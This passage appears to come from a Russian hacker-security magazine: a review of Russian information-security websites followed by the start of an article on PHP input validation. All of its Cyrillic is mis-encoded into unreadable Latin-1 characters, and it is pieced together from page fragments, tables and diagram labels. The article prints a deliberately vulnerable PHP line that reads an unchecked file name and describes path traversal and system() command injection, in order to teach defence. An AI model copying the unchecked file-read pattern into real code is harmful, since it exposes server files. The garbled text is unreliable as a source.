23ïðèòîíûèíòåðíåòàÎáçîð ñàéòîâ ïî èíôîðìàöèîííîé áåçîïàñíîñòèÊÀÊ ÍÈ ÊÐÓÒÈ, À ÈÍÔÎÐÌÀÖÈß ÑÅÉ×ÀÑ ÎÏÐÅÄÅËßÅÒ ÍÀ ÏËÀÍÅÒÅ ÏÐÀÊÒÈ×ÅÑÊÈ ÂÑÅ.È ÂÅÄÜ Ó ÊÎÃÎ ÅÅ ÁÎËÜØÅ, Ó ÊÎÃÎ ÎÍÀ ÏÎËÍÅÅ È ÀÊÒÓÀËÜÍÅÅ — ÒÎÒ È ÑÈËÜÍÅÅ. ×ÒÎÁÛÓ ÒÅÁß ÍÅ ÎÒÎÁÐÀËÈ ÒÂÎÈ ÑÎÁÑÒÂÅÍÍÛÅ ÁÀÉÒÛ È ÍÅ ÎÑÒÀÂÈËÈ ÁÅÑÏÎÌÎÙÍÛÌ —×ÈÒÀÉ ÍÀØ ÎÁÇÎÐ ËÓ×ØÈÕ ÏÎÐÒÀËΠÏÎ ÇÀÙÈÒÅ ÈÍÔÎÐÌÀÖÈÈ!Þðèé Íàóìîâ aka Crazy_scriptscript@real.õakep.ru4 /5INFOSAFEwww.infosafe.ru3,5 /5Root-Accesswww.root-access.orgÀ ýòî íîâè÷îê â ñåãîäíÿøíåìîáçîðå èíòåðíåò-ðåñóðñîâ.Ñðàâíèòåëüíîìîëîäîé ïðîåêòâ òîì ÷èñëå è íà òåìóIT-security. Ôîðóì,êàê è îáû÷íî ó çåëåíûõõàöêåðñêèõ ïðîåêòîâ,âðÿä ëè çàìàíèòñâîèì ñîäåðæàíèåìïðîäâèíóòûõ áåçîïàñíèêîâ,íî íà÷èíàþùèìÊàê çàÿâëÿþò àâòîðûïðîåêòà, INFOSAFE —ïåðâûé ñïåöèàëèçèðîâàííûé«ðåñóðñ ðåñóðñîâ»îá èíôîðìàöèîííîéáåçîïàñíîñòè. Îíïðåäñòàâëÿåò ñîáîé«óäîáíûé è ïîëíûé òåìàòè÷åñêèéèíòåðíåòêàòàëîã»,à â ñîâîêóïíîñòèñ ðåéòèíãîâîéñèñòåìîé — ýòàêèéâñåîáúåìëþùèé èíôîðìàöèîííûéïîðòàë.Ðåñóðñû â íåì ñîðòèðóþòñÿïî óáûâàíèþ ðåéòèíãà,êîòîðûé íàïðÿìóþçàâèñèò îò ãîëîñîâàíèÿïîñåòèòåëåé.Ïî êàæäîìó ðàçäåëóÈÒ ïðåäëàãàåòñÿâûáðàòü òèï èñêîìûõäàííûõ: ëèáî ìû èùåììàòåðèàëû â âèäå ñòàòåé,à âîçìîæíî — ïîäõîäÿùèéôîðóì èëèâîâñå îí-ëàéí ìàãàçèí.Èòîãî: ïîëåçíûé, ñòðåìèòåëüíîðàçâèâàþùèéñÿðåñóðñ.çäåñü áóäåò â ñàìûéðàç. Ñòàòüè èìåþòñÿíåïëîõèå, íî â îñíîâíîìýòî ñòàðåíüêèåòåêñòû ñî ñòîðîííèõïîðòàëîâ. Âîçìîæíî,íåêîòîðûì áóäåò èíòåðåñåíèíòåðíåò-ìàãàçèíñ ðàçíîîáðàçèåìóèíîâ, ïèíîâ, ïëàñòèêàè òîìó ïîäîáíûìèâêóñíîñòÿìè.3 /5Void.ruwww.void.ruß äóìàþ, ìíîãèì èçâåñòåíýòîò ïðîåêò.Void.ru — ñâîåãî ðîäàíåçàâèñèìàÿ ïðåññà,íå òàê äàâíî îñâåùàâøàÿðàçíîîáðàçíûåàñïåêòû èíôîðìàöèîííîéáåçîïàñíîñòè.Âñå ýòî áûëîïîñòðîåíî ñóãóáî íàýíòóçèàçìå ó÷àñòíèêîâïðîåêòà. Ñåé÷àñïîðòàë îáíîâëÿåòñÿðåäêî, íî, íåñìîòðÿíà ýòî, ïîïóëÿðíîñòüåãî íå óïàëà. Ïîìèìîñòàòåé è íîâîñòåé, ïîñåòèòåëÿìè ñåãîäíÿïðåäëàãàþòñÿ óäîáíûåîí-ëàéí ñåðâèñû:ïðîêñè-÷åêåð ñî ñïèñêîìòîëüêî ÷òî ïðîâåðåííûõàäðåñîâ, àíîíèìíûéìåéëåð, âñåâîçìîæíûåäåøèôðàòîðûïàðîëåé ðàçëè÷íîãîÏÎ, áàçàÌÀÑ-àäðåñîâ. Çàìå-÷ó, ÷òî ñåé÷àñ íåìàëîñàéòîâ ìîëîäûõ ñåêüþðèòè-êîìàíäõîñòÿòñÿèìåííî íà void.ru.Ïðîåêò åùå æèâ!Ïóñòü è íå íàñòîëüêîàêòèâåí, íî îïðåäåëåííîæèâ.


24 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-074 /5Viruslistwww.Viruslist.comÃëîáàëüíûé ðåñóðñËàáîðàòîðèè Êàñïåðñêîãî,ïîëíîñòüþ ïîñâÿùåííûéèíôîðìàöèîííîéáåçîïàñíîñòè.Èìåþùàÿñÿ íà ñàéòåýíöèêëîïåäèÿ âèðóñîâäàñò ìàêñèìàëüíóþèíôîðìàöèþïî ðàçëè÷íûìâîïðîñàì: íà÷èíàÿîò ïðèíöèïîâ ðàáîòûè çàêàí÷èâàÿ ìåðàìèïðåäîñòîðîæíîñòè. ñîñòàâ âêëþ÷åíîïîëíîå îïèñàíèåâñåõ èçâåñòíûõâðåäîíîñíûõ ïðîãðàìì.Íà viruslist.comâñåãäà ìîæíî ïîëó-÷èòü äîñòóï ê ðàçëè÷íîéñòàòèñòè÷åñêîéèíôîðìàöèè, îçíàêîìèòüñÿñ òåíäåíöèÿìèðàçâèòèÿ âèðóñíûõòåõíîëîãèé è ñïàìà,óçíàòü ïîñëåäíèåíîâîñòè óÿçâèìûõïðîäóêòîâ. À åñëèâîçíèêíóò êàêèå-ëèáîâîïðîñû, òî âñåãäàìîæíî âîñïîëüçîâàòüñÿôîðóìîì,íà êîòîðîì òûïîëó÷èøü èñ÷åðïûâàþùóþèíôîðìàöèþïî òåìàòèêå ñàéòà.Ñàéò äîñòóïåííà 6 ÿçûêàõ, âêëþ÷àÿðóññêèé.  òâîåìðàñïîðÿæåíèè âîçìîæíîñòüáûñòðîãîïîèñêà è óäîáíûéèíòåðôåéñ.5 /5SecurityLabwww.securitylab.ruÍà ìîé âçãëÿä, ñàìûéèçâåñòíûé è ïîïóëÿðíûé(îêîëî 27 òûñÿ÷çàðåãèñòðèðîâàííûõïîëüçîâàòåëåé) èíôîðìàöèîííûéïîðòàëâ Ðîññèè, ðàññêàçûâàþùèéî ñîáûòèÿõâ îáëàñòè çàùèòûèíôîðìàöèè è íîâûõòåõíîëîãèé. PositiveTechnologies (âëàäåëüöûïîðòàëà www.ptsecurity.ru)— óñïåøíàÿ êîíòîðàâ ñôåðå âåá-áåçîïàñíîñòè,çàíèìàþùàÿëèäèðóþùåå ìåñòîíà ðîññèéñêîì ðûíêå.Íàáðàâ ýòîò àäðåñâ ñâîåì áðàóçåðå,òû ïîëó÷èøü äîñòóïê ñàìûì ñâåæèìè àêòóàëüíûì ñîáûòèÿìâ îáëàñòè IT-security.Ñïåöû ïîðòàëàçàáîòÿòñÿ î òîì, ÷òîáûïîñåòèòåëü ïîëó÷èëñàìóþ èñ÷åðïûâàþùóþèíôîðìàöèþ îáî âñåõíàéäåííûõ óÿçâèìîñòÿõ,èõ àíàëèç ñ òî÷êèçðåíèÿ ïðîôåññèîíàëîâýòîé îáëàñòè,à òàêæå êîíêðåòíûåðåêîìåíäàöèè ïî ðåøåíèþïðîáëåì.  àíàëèòè÷åñêîìðàçäåëåðàñïîëàãàþòñÿ ïóáëèêàöèèêàê îðèãèíàëüíûõ,òàê è âåñüìà èíòåðåñíûõèíîñòðàííûõñòàòåé â îáëàñòè IT-èíäóñòðèè.Íà ñàéòå ïåðèîäè-÷åñêè ïðîõîäÿò êîíêóðñû,ãîëîñîâàíèÿ, âðåìåíàìèîáíîâëÿåòñÿàðõèâ èç áîëåå ÷åìäâóõ òûñÿ÷ ðàçëè÷íûõøàðîâàðíûõ è ôðèâàðíûõïðîãðàìì. NationalVulnerability Databaseñîäåðæèò èíôîðìàöèþíà àíãëèéñêîì î áîëåå÷åì 20 òûñÿ÷àõ óÿçâèìîñòåé.Ïåðâûé èíôîðìàöèîííûéïîðòàë ñîâìåñòíîñ íåáåçûçâåñòíûìòåáå Àëåêñååì Ëóêàöêèì(ðóêîâîäèòåëåìîäíîãî èç îòäåëîâ ÍÈÏ«Èíôîðìçàùèòà»)ïðåäëàãàåò íîâûéè äîâîëüíî èíòåðåñíûéñåðâèñ —«Security-êàëåíäàðü».Ïðèäóìàí îí äëÿ òåõ,êîìó èíòåðåñíà èñòîðèÿçàùèòû èíôîðìàöèè.Êàëåíäàðü âûâîäèòçíàìåíàòåëüíûåñîáûòèÿ â ìèðå èíôîðìàöèîííîéáåçîïàñíîñòèòåêóùåãî äíÿ.Áàçà ðàñòåò â òîì ÷èñëåè áëàãîäàðÿ ïîìîùèïîñåòèòåëåé ïîðòàëà.Èíôîðìåð àáñîëþòíîñâîáîäíûé èäîñòóïåí ëþáîìó æåëàþùåìóðàçìåñòèòüåãî ó ñåáÿ íà ñòðàíèöå.Íåëüçÿ íå îòìåòèòüè åùå îäèí ïîëåçíûéðàçäåë — ôîðóì. Çäåñüêðóãëûå ñóòêè ìîæíîïîëó÷èòü êâàëèôèöèðîâàííûéîòâåò íà èíòåðåñóþùèéâîïðîñ îòñïåöèàëèñòîâ è ñèñàäìèíîâñî âñåé Ðîññèè.Ôîðóì SecurityLab —ñàìîå ïîïóëÿðíîå ìåñòîâ ðóíåòå, ãäå ìîæíîóçíàòü ïî÷òè âñå îá èíôîðìàöèîííîéáåçîïàñíîñòè.Ìåñòíóþ ðàññûëêó÷èòàþò ïî÷òè 20òûñÿ÷ ÷åëîâåê.Íåóäèâèòåëüíî,÷òî ñòîëü ïîïóëÿðíûéñåêüþðèòè-ïîðòàë ïîäâåðãàåòñÿïîñòîÿííûìàòàêàì. Ñïåöèàëèñòûïîçàáîòèëèñü è î ñåáå:èíòåðíåò-ïðîåêò óïðàâëÿåòñÿñèñòåìîé«Áèòðèêñ» —- îäíîéèç íàèáîëåå ñòàáèëüíûõè çàùèùåííûõ CMS.4,5 /5Zone-Hwww.zone-h.ruÂñå íîâîñòè î ïðîèñõîäÿùèõñðàæåíèÿõ çàèíôîðìàöèþ ñòåêàþòñÿèìåííî ñþäà —â ìåæäóíàðîäíûéöåíòð ÈÒ-áåçîïàñíîñòè.Çäåñü, â ðàçäåëå«Èíôîðìàöèîííûåâîéíû» ìîæíî íàéòèïîñëåäíèå ñâîäêèèç çîíû áîåâûõäåéñòâèé. Íà ñàéòåñîäåðæèòñÿ ýêñêëþçèâíàÿèíôîðìàöèÿ îá àòàêàõñåðâåðîâ, áîëüøàÿ÷àñòü êîòîðîé ïîÿâëÿåòñÿáëàãîäàðÿ ñêðèïòêèääèñàìè èíûì õóëèãàíàì.Ïðè÷åì ìîíèòîðèíãýòèõ àòàê íå ïðåêðàùàåòñÿíè íà ñåêóíäó.Âî âñåì ýòîì ÿâíîâû÷åð÷èâàåòñÿ ñèëóýòèäåè ïðîåêòà: íå òåðÿòüñâÿçü ìåæäó ñîáûòèÿìèâ ñôåðå IT-securityè â ìèðå. Zone-H äåìîíñòðèðóåò,÷òî ïîëèòèêàè ïðîáëåìû èíôîðìàöèîííîéáåçîïàñíîñòèíåðàçðûâíîïåðåïëåòåíû ìåæäó ñîáîéè ñ ïðîèñõîäÿùèìâ ãëîáàëüíîé Ñåòè.


255 /5BugTraq.Ruwww.bugtraq.ru3,5 /5Anti-Malwarewww.anti-malware.ruÎäíà èç ñàìûõ ñòàðûõðóññêîÿçû÷íûõ ñòðàíèöîá îáåñïå÷åíèè çàùèòûãëàâíîãî ðåñóðñàíà ïëàíåòå. Ìîæåòáûòü, íå òàêàÿ îáúåìíàÿè àêòèâíàÿ (ðåãóëÿðíîñòüîáíîâëåíèÿíîâîñòåé îò íåñêîëüêèõðàç â äåíü äî îäíîãîðàçà â íåäåëþ, ïî ìåðåíàêîïëåíèÿ), çàòî ìîæåòïîðàäîâàòü ñâîèìïðîôåññèîíàëèçìîìè ýêñêëþçèâíîñòüþáîëüøåé ÷àñòè èíôîðìàöèè.Ãëàâíàÿ çàäà-÷à — èçó÷åíèå è îòñëåæèâàíèåòåíäåíöèé,ïðîâåäåíèå àíàëèòè-÷åñêèõ ðàáîò è ñîîáùåíèåî íàèáîëåå çíà÷èìûõñîáûòèÿõ IT. Ðåñóðñðàññ÷èòàí íà áîëååïîäãîòîâëåííîãîïîñåòèòåëÿ: îñíîâíàÿàóäèòîðèÿ — âåäóùèåñïåöèàëèñòû IT, ïðåèìóùåñòâåííîñ âûñøèìîáðàçîâàíèåì, êîòîðûåñòðåìÿòñÿ ïîëó-÷èòü «÷èñòóþ» èíôîðìàöèþáåç ïðèìåñåéàáñîëþòíî íåíóæíûõôàêòîâ è äîìûñëîâ.Íî ãëàâíûì äîñòîèíñòâîìBugTraq.ruñòàëà îäíîèìåííàÿðàññûëêà (íà ñåãîäíÿøíèéäåíü — 83 òûñÿ÷èïîäïèñ÷èêîâ),ôàêòè÷åñêè è ïîñëóæèâøàÿôóíäàìåíòîìäëÿ âîçâåäåíèÿ íûíåøíåãîïîðòàëà.Ñ 1997 ãîäà â ÿùèêèïîäïèñ÷èêîâ ïîíåñëèñüêèëîáàéòû öåííîéñåêüþðèòè-èíôîðìàöèè,à ìåõàíèçì ñåéçàïóñòèë Äìèòðèé Ëåîíîâ— ÷åëîâåê, èçâåñòíûéêàæäîìó, êòî êîãäàëèáî èíòåðåñîâàëñÿIT-security. Âåäóùèéñïåöèàëèñò, àâòîð øèðîêîèçâåñòíîé êíèãè«Àòàêà íè Èíòåðíåò»,óâàæàåìûé â IT-êðóãàõ,îí òàêæå ñîçäàòåëüãðîìêèõ ïðîåêòîâRussian SecurityNewsline, HackZone.Ru,ezhe.ru. Îïðåäåëåííî,BugTraq.ru — must visit!Íåçàâèñèìûé èíôîðìàöèîííî-àíàëèòè÷åñêèéïðîåêò î òîì, êàêçàùèòèòü ñåáÿ îò âñÿêîémalware-äðÿíè.Íàä åãî ðàçâèòèåì ðàáîòàþòíàñòîÿùèåïðîôåññèîíàëû, èìåþùèåáîëüøîé îïûòðàáîòû â îáëàñòè ITsecurity.Óðîâåíü ñïåöîâïðîåêòà ñòàíîâèòñÿçàìåòåí, åñëè ïîñìîòðåòü,êàê ñòðåìèòåëüíîðàçâèâàåòñÿðåñóðñ. Êàæäûé äåíüâ íîâîñòíîé ëåíòåïóáëèêóåòñÿ ñâåæàÿèíôîðìàöèÿ î òåêóùèõè âîçìîæíûõ óãðîçàõ,ðàçðàáàòûâàþòñÿè îñâåùàþòñÿíàèáîëåå ýôôåêòèâíûåòåõíîëîãèè çàùèòû.Çäåñü âñåãäà ìîæíîîçíàêîìèòüñÿ ñ ïîãîäîéíà ëèíèè ôðîíòà:ïåðèîäè÷åñêè ïðîâîäÿòñÿàíàëèòè÷åñêèåîáçîðû è âñåâîçìîæíûåèññëåäîâàíèÿ.Anti-Malware ïîääåðæèâàåòñÿòàêèìèèçâåñòíûìè êîìïàíèÿìèêàê Dr.Web, ÄèàëîãÍàóêà,ËàáîðàòîðèÿÊàñïåðñêîãî,Panda Sofware.4 /5uinCwww.uinc.ru4 /5ÁÅÇÏÅÊÀwww.bezpeka.comÅùå îäèí äîëãîæèòåëüðóíåòà (ìàé 2001), ñîçäàííûéîòå÷åñòâåííîéêîìàíäîé uinC (UndergroundInformatioNCenter). Îäíîèìåííûéïîðòàë — ïîïûòêà ñäåëàòüðåñóðñ, ñõîæèéïî òåìàòèêå ñ ïîïóëÿðíîéâ òî âðåìÿ Õàêçîíîé,íî èñêëþ÷àþùèéåå îñíîâíîé íåäî-÷åò — îáèëèå ìóñîðà(ôëåéìèíã è ôëóäèíãïëîòíî ïîñåëèëñÿ â òåâðåìåíà íà ïîïóëÿðíîìôîðóìå).Network & securitynews — îäèí èç èíòåðåñíåéøèõðàçäåëîâ!Ïîäàâëÿþùåå áîëüøèíñòâîíîâîñòíûõñîîáùåíèé ïåðåâåäåíîñ èíîñòðàííûõ ïåðâîèñòî÷íèêîâñàìèìè÷ëåíàìè ãðóïïû. Ñâåæèåïîñòû â ýòîìðàçäåëå ïîÿâëÿþòñÿêàæäûé äåíü ïî 6–10øòóê è îáÿçàòåëüíîñ óêàçàíèåì ññûëêèíà îðèãèíàë.Ñòàòüè uinc.ru ðåäêîîáíîâëÿþòñÿ, íî àðõèââêëþ÷àåò â ñåáÿ ïîëåçíóþïîäáîðêó èíôîðìàöèè,â òîì ÷èñëåè íà àêòóàëüíûå ñåãîäíÿòåìû. Äëÿ ñàìûõìàëåíüêèõ íàéäåòñÿFAQ ñ ïîïóëÿðíûìèâîïðîñàìè â îáëàñòèIT. Àðõèâ ñîôòà òîæåñòîèò ïîëèñòàòü(òàì òåáÿ æäåòî÷åíü õîðîøàÿ ïîäáîðêàïðîãðàìì ïî êàòåãîðèÿìñ èõ îïèñàíèåìè ññûëêîé íà çàêà÷êó).À ñ êîìàíäíûìèðåëèçàìè ìîæíî ïîçíàêîìèòüñÿâ ðàçäåëåïðîåêòîâ. Çäåñü æèâóòòàêèå èçâåñòíûå îáèòàòåëèñîôòâåðíîãîìèðà êàê RegScan,UINC Keylogger, PEOptimizer è ìíîãèå äðóãèå.Ôîðóì íå ïîíðàâèëñÿ,âûïîëíåí â ñòèëåîëä ñêóë :).Ôàêòè÷åñêè, ýòîò ðåñóðñ— ñàéò óêðàèíñêîéêîíòîðû, ñïåöèàëèçèðóþùåéñÿíà èíôîðìàöèîííûõòåõíîëîãèÿõ è èíôîðìàöèîííîéáåçîïàñíîñòè.Ïîìèìî äàííûõî ïðåäïðèÿòèè èñïèñêà îêàçûâàåìûõóñëóã, ýòà ñòðàíèöà ÿâëÿåòñÿíåïëîõèì èíôîðìàòèâíûìðåñóðñîìïî áåçîïàñíîñòè.Äåÿòåëè èç ìåñòíîãîÖåíòðà Áåçîïàñíîñòèãîòîâÿò êà÷åñòâåííóþðàññûëêó «Êîìïüþòåðíàÿáåçîïàñíîñòü».3–4 ðàçà â íåäåëþ òåáåíà ìûëî áóäåò ïðèõîäèòüîïåðàòèâíàÿ èíôîðìàöèÿî ïîñëåäíèõáàãàõ, âèðóñàõ, íîâîñòèÏÎ è èíôîðìàöèîííûõòåõíîëîãèé. À òàêæå— âñå èçìåíåíèÿâ çàêîíîäàòåëüñòâå, òàêèëè èíà÷å ñâÿçàííûåñ çàùèòîé èíôîðìàöèè,êîïèðàéòàìè è èíòåëëåêòóàëüíîéñîáñòâåííîñòüþ.


26 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07ïðîòèâîóêîëüíûéêîñòþìÏðîâåðêà âõîäíûõ äàííûõ íà PHP ñ ïîìîùüþ ÎÎÏÏÐÎÁËÅÌÀ ÑÎÇÄÀÍÈß ÁÅÇÎÏÀÑÍÛÕ ÑÊÐÈÏÒΠÂÑÅÃÄÀ ÑÒÎßËÀ ÄÎÂÎËÜÍÎ ÎÑÒÐÎ.ÄÀÆÅ ÅÑËÈ ÌÛ ÑÎÇÄÀÅÌ ÎÁÛ×ÍÓÞ ÄÎÌÀØÍÞÞ ÑÒÐÀÍÈÖÓ, ÍÀÌ ÂÐßÄ ËÈ ÁÓÄÅÒÏÐÈßÒÍÎ, ×ÒÎ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÓÌÅËÅÖ ÅÅ ÂÇËÎÌÀÅÒ. ×ÒÎ ÓÆ ÃÎÂÎÐÈÒÜ Î ÊÐÓÏÍÛÕÊÎÐÏÎÐÀÒÈÂÍÛÕ È ÊÎÌÌÅÐ×ÅÑÊÈÕ ÑÀÉÒÀÕ, ÂÅÄÜ Â ÄÀÍÍÎÌ ÑËÓ×ÀÅ ÂÇËÎÌ ÌÎÆÅÒÍÀÍÅÑÒÈ ÄÎÂÎËÜÍÎ ÇÍÀ×ÈÒÅËÜÍÛÉ ÔÈÍÀÍÑÎÂÛÉ ÓÙÅÐÁ.Áîðèñ Âîëüôñîíborisvolfson@gmail.com, http://splendot.com×àùå âñåãî âçëîìùèêè ïîëüçóþòñÿ ðàçëè÷íûìè íåäîðàáîòêàìèâ ñêðèïòàõ — íàïðèìåð, íåäîñòàòî÷íîéïðîâåðêîé ïîñòóïàþùåé èçâíå (îò ïîñåòèòåëÿ ñàéòà)èíôîðìàöèè.  äàííîé ñòàòüå ÿ ïîêàæó, êàê, èñïîëüçóÿñîâðåìåííûå òåõíîëîãèè ïðîãðàììèðîâàíèÿ,ìîæíî îðãàíèçîâàòü ãèáêóþ è íàäåæíóþ ñèñòåìóïðîâåðêè äàííûõ, ïîëó÷åííûõ îò ïîëüçîâàòåëÿ.òèïè÷íûå äûðû. Êàêîé êîä ìîæåò áûòü óÿçâèìûìê àòàêàì âçëîìùèêîâ? Êàê âçëîìùèêè ïîëüçóþòñÿäûðàìè â ñêðèïòàõ? Ïðåæäå âñåãî, îòìå÷ó,÷òî ãðàìîòíî íàïèñàííûé ñêðèïò äîâîëüíî òðóäíîâçëîìàòü, à áîëüøèíñòâî âçëîìîâ ïðîèñõîäèò èççàíåäîñòàòî÷íîé áäèòåëüíîñòè ïðîãðàììèñòîâ.«Ïðîâåðÿòü, ïðîâåðÿòü è åùå ðàç ïðîâåðÿòü âõîäíûåäàííûå» — âîò ëîçóíã íàïèñàíèÿ íàäåæíûõ èáåçîïàñíûõ ñêðèïòîâ.èìåíà ôàéëîâ. Ïîëüçîâàòåëü îòïðàâëÿåòñâîè çàïðîñû ê ñåðâåðó ñ ïîìîùüþ ìåòîäîâ POSTè GET. Èç çàïîëíåííûõ ôîðì âõîäíûå äàííûå ÷àùåâñåãî ïîñòóïàþò ìåòîäîì POST, à äëÿ ïåðåäà÷èäàííûõ ñ ïîìîùüþ ãèïåðòåêñòîâîé ññûëêè ïðèìåíÿåòñÿìåòîä GET. Íàïðèìåð, ó íàñ íà ñàéòå ðàçìåùåíûðàçëè÷íûå ñòàòüè, è äëÿ èõ ïîêàçà ìû èñïîëüçóåìîòîáðàæàþùèé ñêðèïò. Èíôîðìàöèÿ î ñòàòüÿõõðàíèòñÿ â áàçå äàííûõ, à ñïåöèàëüíûé ñêðèïò âûäàåòïðèìåðíî òàêîé ñïèñîê:«äûðÿâûé» ñïèñîê ññûëîêÑòàòüÿ 1Ñòàòüÿ 2Ñòàòüÿ 3Êàæäàÿ ññûëêà óêàçûâàåò íà ñêðèïò show.php, êîòîðûéâûâîäèò ñòàòüè íà ýêðàí (â êà÷åñòâå ïàðàìåòðàåìó ïåðåäàåòñÿ èìÿ ôàéëà). Ñàì ñêðèïòshow.php ñîäåðæèò ñëåäóþùèé êîä:ïîòåíöèàëüíàÿ äûðà// Âûâîä âåðõíåé ÷àñòè ñòðàíèöû…echo file_get_contents($filename);...// Âûâîä íèæíåé ÷àñòè ñòðàíèöûÊîíå÷íî, ìû ðàññìîòðåëè ñàìûé çàïóùåííûé ñëó-÷àé: â äàííîì êîäå ñîäåðæàòñÿ äâå ãðóáûõ ñ òî÷êèçðåíèÿ íàïèñàíèÿ áåçîïàñíîãî êîäà îøèáêè.Âî-ïåðâûõ, äëÿ ïîëó÷åíèÿ âíåøíèõ äàííûõ (èìåíèôàéëà) èñïîëüçóåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ $filename.Âìåñòî ýòîãî ëó÷øå èñïîëüçîâàòü àññîöèàòèâíûåìàññèâû $_REQUEST, $_POST, $_GETè äðóãèå. Òåì áîëåå ÷òî â ñëåäóþùèõ âåðñèÿõ PHPãëîáàëüíûå ïåðåìåííûå íà îñíîâå äàííûõ ïîëüçîâàòåëÿñîçäàâàòüñÿ íå áóäóò, è õî÷åøü òû ýòîãî èëèíåò — ïðèäåòñÿ èñïîëüçîâàòü ñïåöèàëüíûå ìàññèâû.Âî-âòîðûõ, $filename íèêàê íå ïðîâåðÿåòñÿ. Íàïðèìåð,âçëîìùèê ìîæåò óêàçàòü âìåñòî èìåíèôàéëà â ñòðîêå ââîäà àäðåñà index.php è ïîëó÷èò


27Òàáëèöà 1Òàáëèöà 2Íàçâàíèåindex.phpbio.phplinks.phphtml.phpÍàçâàíèåÎïèñàíèåÃëàâíàÿ ñòðàíèöàÑòðàíèöà ñ áèîãðàôèåéÂàñè ÏóïêèíàÑòðàíèöà ñ ññûëêàìèÂñïîìîãàòåëüíûé ôàéëfunction __construct($Title)function BeginHTML()function EndHTML()function Logo()function Menu()abstract function MainText()function Write()ÎïèñàíèåÎÎÏ â PHP5ââåäåíèå. Äîñòàòî÷íî ÷àñòî äëÿðàçðàáîòêè ñàéòîâ èñïîëüçóåòñÿ ÿçûêPHP.  ïîñëåäíåé (ïÿòîé) âåðñèè PHPçíà÷èòåëüíî óëó÷øèëàñü ïîääåðæêàÎÎÏ (îáúåêòíî-îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ).Òåì íå ìåíåå, ìíîãèåïðîãðàììèñòû ïðè ñîçäàíèè ñàéòîâ èñïîëüçóþòëèøü ñàìûå ïðèìèòèâíûåâîçìîæíîñòè ÎÎÏ, íàïðèìåð, èíêàïñóëÿöèþäàííûõ. Áåçóñëîâíî, òàêîå ïðèìåíåíèåÎÎÏ äåëàåò êîä áîëåå êà÷åñòâåííûì,íî, ïðèìåíÿÿ è äðóãèå âîçìîæíîñòèÎÎÏ, ìîæíî äîáèòüñÿ áîëüøåãîýôôåêòà. Ïðèìåíåíèå ïîëèìîðôèçìàè íàñëåäîâàíèÿ ïîçâîëÿåò çíà÷èòåëüíîñîêðàòèòü êîä, îäíîâðåìåííî äåëàÿåãî áîëåå íàäåæíûì. Òàêæå òàêîéêîä ìîæíî ÷àñòî èñïîëüçîâàòü ïîâòîðíî.Ðàññìîòðèì ýòî äåëî íà ïðàêòèêå.Èòàê, ïåðåä íàìè ñòîèò çàäà÷à — ñäåëàòüñòðàíèöó Âàñè Ïóïêèíà. Ââåðõóñòðàíèöû äîëæíà áûòü áîëüøàÿ íàäïèñü«Äîìàøíÿÿ ñòðàíèöà Âàñè Ïóïêèíà»(îáû÷íî ýòî ëîãîòèï ñàéòà). Äàëååñëåäóåò ìåíþ, ñîñòîÿùåå èç ñëåäóþùèõðàçäåëîâ: «Ãëàâíàÿ ñòðàíèöà», «Áèîãðàôèÿ»,«Ññûëêè». Ïî ñåðåäèíå ñòðàíèöûèäåò òåêñò ðàçäåëà. Âíèçó äóáëèðóåòñÿìåíþ. Ñàéò áóäåò ñîñòîÿòü èç ÷åòûðåõîñíîâíûõ ôàéëîâ (ñìîòðè òàáëèöó 1).êàðêàñ ñàéòà. Íàøà ñòðàíèöà áóäåòÿâëÿòüñÿ êëàññîì. Îïðåäåëèì àáñòðàêòíûéêëàññ HTML-ñòðàíèöû â ôàéëå html.php:àáñòðàêòíûé áàçîâûé êëàññ«ñòðàíèöà HTML»


28 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07ConcreteComponent+Operation()Component+Operation()ConcreteDecoratorA-AddedState+Operation()Decorator+Operations()Ñõåìà1. Äèàãðàììà êëàññîâ ïðè èñïîëüçîâàíèè äåêîðàòîðàòåêñò ñêðèïòà, à òàêîé öåííîé èíôîðìàöèåé îí áåçòðóäà âîñïîëüçóåòñÿ äëÿ äàëüíåéøåãî ïîèñêà íåäî-÷åòîâ â íàøåé ñèñòåìå áåçîïàñíîñòè. Ñëåäóþùèìøàãîì âçëîìùèêà ìîæåò áûòü ïîïûòêà âûâåñòè íàýêðàí êàêèå-ëèáî êîíôèãóðàöèîííûå ôàéëû ñ ëîãèíîìè ïàðîëåì àäìèíèñòðàòîðà ñàéòà.Âûõîäà äâà: ìîæíî âìåñòî èìåíè ôàéëà ïåðåäàâàòüèäåíòèôèêàòîð ñòàòüè, à çàòåì ïðåîáðàçîâûâàòüåãî â èìÿ ôàéëà èëè òùàòåëüíî ïðîâåðÿòüèìÿ ôàéëà íà äîïóñòèìûå èìåíà, íà ñëåøèè îáðàòíûå ñëåøè, ÷òîáû âçëîìùèê íå ñìîã ïóòåøåñòâîâàòüïî íàøèì êàòàëîãàì. Âî âòîðîì ñëó÷àåëó÷øå âñåãî âîñïîëüçîâàòüñÿ îïåðàòîðîì if (èëèìàññèâîì èìåí ôàéëîâ) è âûáèðàòü ôàéë äëÿ îòîáðàæåíèÿèç æåñòêî çàäàííîãî ñïèñêà.ôóíêöèÿ system(). Âñòðå÷àþòñÿ è áîëåå ïàòîëîãè÷åñêèåñëó÷àè: íåêîòîðûå «ïðîãðàììèñòû» èñïîëüçóþòâíåøíèå äàííûå â ôóíêöèè system(), êîòîðàÿâûïîëíÿåò ïðîèçâîëüíóþ êîìàíäó îïåðàöèîííîéñèñòåìû.  òàêîì ñëó÷àå äî äåôåéñà ñàéòà— áóêâàëüíî îäèí øàã. Ôóíêöèþ system âîîáùåíå ñëåäóåò èñïîëüçîâàòü áåç ýêñòðåííîé íåîáõîäèìîñòè!Åñëè óæ ïðèøëîñü çàäåéñòâîâàòü åå âìåñòåñ âíåøíèìè äàííûìè, òî òóò íàäî áóäåò îñóùåñòâèòüî÷åíü ñòðîãóþ ïðîâåðêó íà ñïåöñèìâîëû:îò âñåõ ñïåöèàëüíûõ ñèìâîëîâ *nix-ñèñòåì äî ñèìâîëàñ êîäîì 0, èíà÷å âçëîìùèê ïîëó÷èò âîçìîæíîñòüèñïîëíÿòü ïðîèçâîëüíûå êîìàíäû îïåðàöèîííîéñèñòåìû íà ñåðâåðå, è îò ñàéòà îñòàíóòñÿ îäíèïîòðîõà.áàçû äàííûõ.  ñâÿçêå ñ PHP îáû÷íî ïðèìåíÿþòáàçó 